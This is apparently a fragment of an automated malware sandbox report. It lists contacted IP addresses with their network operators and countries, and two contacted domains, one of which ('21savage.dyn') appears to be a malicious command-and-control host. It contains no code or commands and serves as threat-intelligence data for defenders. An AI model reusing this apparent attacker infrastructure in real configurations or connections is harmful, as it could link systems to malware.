3320 DTAGInternetserviceprovideroperationsDE false
124.219.161.38
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
81.243.125.241
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
22.228.246.242
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
216.88.117.25
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
180.67.118.58
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
96.117.251.30
 unknown United States
7922 COMCAST-7922US false
21.218.179.53
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
185.133.94.90
 unknown Italy
203485 ENTRAINCITTAIT false
211.133.41.93
 unknown Japan 2510 INFOWEBFUJITSULIMITEDJP false
130.72.56.220
 unknown United States
13326 TUFTS-UNIVERSITYUS false
128.21.220.60
 unknown United States
13 DNIC-AS-00013US false
208.40.118.78
 unknown United States
2707 FIRSTCOMM-AS1US false
73.166.149.221
 unknown United States
7922 COMCAST-7922US false
207.237.197.138
 unknown United States
6079 RCN-ASUS false
77.102.225.183
 unknown United Kingdom
5089 NTLGB false
36.152.136.17
 unknown China
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
77.117.155.101
 unknown Austria
25255 H3G-AUSTRIA-ASTELE2AUSTRIAAT false
43.110.47.38
 unknown Japan 4249 LILLY-ASUS false
89.202.211.108
 unknown United Kingdom
3257 GTT-BACKBONEGTTDE false
155.225.68.232
 unknown United States
53257 ASN1US false
7.96.82.211
 unknown United States
3356 LEVEL3US false
21.21.172.193
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
33.62.176.104
 unknown United States
2686 ATGS-MMD-ASUS false
98.167.148.76
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
105.194.197.209
 unknown Egypt
37069 MOBINILEG false
101.243.224.69
 unknown China
17429 BGCTVNETBEIJINGGEHUACATVNETWORKCOLTDCN false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true
21savage.dyn 156.244.19.135 true